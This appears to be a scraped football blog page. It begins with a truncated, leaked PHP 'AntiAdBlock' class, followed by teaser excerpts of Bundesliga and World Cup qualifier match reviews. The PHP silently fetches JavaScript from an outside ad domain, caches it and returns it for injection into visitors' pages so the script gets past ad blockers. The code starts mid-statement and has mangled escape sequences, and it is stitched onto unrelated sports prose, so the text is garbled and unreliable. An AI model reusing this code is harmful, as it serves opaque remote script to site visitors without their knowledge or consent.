1, CURLOPT_USERAGENT => 'AntiAdBlock API Client', CURLOPT_FOLLOWLOCATION => false, CURLOPT_SSL_VERIFYPEER => true, )); // prefer SSL if at all possible $version = curl_version(); if ($version['features'] & CURL_VERSION_SSL) { curl_setopt($curl, CURLOPT_URL, 'https://go.transferzenad.com' . $url); } else { curl_setopt($curl, CURLOPT_URL, 'http://go.transferzenad.com' . $url); } $result = curl_exec($curl); curl_close($curl); return $result; } private function getFileGetContents($url) { if (!function_exists('file_get_contents') || !ini_get('allow_url_fopen') || ((function_exists('stream_get_wrappers')) && (!in_array('http', stream_get_wrappers())))) { return false; } if (function_exists('stream_get_wrappers') && in_array('https', stream_get_wrappers())) { return file_get_contents('https://go.transferzenad.com' . $url); } else { return file_get_contents('http://go.transferzenad.com' . $url); } } private function getFsockopen($url) { $fp = null; if (function_exists('stream_get_wrappers') && in_array('https', stream_get_wrappers())) { $fp = fsockopen('ssl://' . 'go.transferzenad.com', 443, $enum, $estr, 10); } if ((!$fp) && (!($fp = fsockopen('tcp://' . gethostbyname('go.transferzenad.com'), 80, $enum, $estr, 10)))) { return false; } $out = "GET " . $url . " HTTP/1.1rn"; $out .= "Host: go.transferzenad.comrn"; $out .= "User-Agent: AntiAdBlock API Clientrn"; $out .= "Connection: closernrn"; fwrite($fp, $out); $in = ''; while (!feof($fp)) { $in .= fgets($fp, 1024); } fclose($fp); return substr($in, strpos($in, "rnrn") + 4); } private function findTmpDir() { if (!function_exists('sys_get_temp_dir')) { if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); } if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); } if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); } // this will try to create file in dirname(__FILE__) and should fall back to /tmp or wherever $tempfile = tempnam(dirname(__FILE__), ''); if (file_exists($tempfile)) { unlink($tempfile); return realpath(dirname($tempfile)); } return null; } return sys_get_temp_dir(); } public function get() { $e = error_reporting(0); $url = "/v1/getTag?" . http_build_query(array('token' => $this->token, 'zoneId' => $this->zoneId)); $file = $this->findTmpDir() . '/pa-code-' . md5($url) . '.js'; // expires in 4h if (file_exists($file) && (time() - filemtime($file) < 4 * 3600)) { error_reporting($e); return file_get_contents($file); } $code = $this->getCurl($url); if (!$code) { $code = $this->getFileGetContents($url); } if (!$code) { $code = $this->getFsockopen($url); } if ($code) { // atomic update, and it should be okay if this happens simultaneously $fp = fopen("{$file}.tmp", 'wt'); fwrite($fp, $code); fclose($fp); rename("${file}.tmp", $file); } error_reporting($e); return $code; } } $__aab = new __AntiAdBlock(); return $__aab->get();

Bundesliga round 12 review

Bundesliga round 12 review
Matchday 12 of the German Bundesliga began last Friday after a two-week hiatus for international matches. That night, promoted club VfB Stuttgart took on Borussia Dortmund and the latter team continued its free fall by losing 2-1. First, a misunderstanding between Dortmund center-back Marc Batra and his goalkeeper Roman Bürki allowed Chadrac Akolo to take advantage and give Stuttgart the early lead. Borussia pushed forward for the rest of the first half and got their reward with a penalty kick in added time. VfB keeper Ron-Robert Zieler saved the initial shot by André Schürrle, before Maximilian...
read more

Croatia defeats Greece 4-1 in World Cup qualifying first-leg

Croatia defeats Greece 4-1 in World Cup qualifying first-leg
The World Cup qualifying playoff first-leg between Croatia and Greece took place at the Maksimir stadium in Zagreb on Thursday night. The Croats made their displeasure about playing Greece known, when the draw was made. They did so by citing the fact that going into these playoffs, they had not defeated the Greeks since 1997. Adding to their problems were the injuries to Milan Badelj and Mario Mandžukić. However, with regards to the first-leg at least these issues did not affect the team of head coach Zlatko Dalić. In fact, it seemed as though they were better with a true striker like Nikola Kalinić,...
read more

Bundesliga round 11 review

Bundesliga round 11 review
Matchday eleven of the German Bundesliga started last Friday, with Eintracht Frankfurt hosting the still winless Werder Bremen. The visitors’ coaching change earlier in the week seemed to have made a positive impact from the start. Yet it was the home team that came away lucky winners in the end. It was quite an entertaining match in which the teams traded one beautiful goal each, before both keepers started making a number of spectacular saves close to halftime. The second 45 minutes were less eventful, until Sebastien Haller scored the game-winner for Frankfurt near the end, 2-1! On Saturday...
read more

A review of German teams’ games in Europe week 4

A review of German teams’ games in Europe week 4
Matchday four of both UEFA club competitions took place this past midweek and it provided a mixed bag of results for the six German teams involved. It started on Tuesday, when Bayern Munich secured its place in the last 16 of the UEFA Champions League, with a lucky and frankly undeserved 2-1 victory over Celtic Glasgow. To be fair to the Bavarians, one has to point out that they had to go without key injured players such as Thomas Müller, Robert Lewandowski and Frank Ribery, just to name a few. Beyond that, the Celtic game was sandwiched in between on the one hand the league and cup matches against RB...
read more

Bundesliga round 10 review and more

Bundesliga round 10 review and more
Matchday 10 of the Bundesliga season took place this past weekend, after the second round of the German Cup had been played the Tuesday and Wednesday before that. The Cup was somewhat short on surprises, but certainly not on drama.SC Paderborn was the only Third Division team that prevailed. The few second-tier teams that advanced to the Round of 16, did so in games against teams from the same division, or as in one case against a Third Division team. The two winless teams in the Bundesliga, namely 1.FC Cologne and Werder Bremen surprisingly advanced in cup play with impressive victories against...
read more

« Previous Entries Next Entries »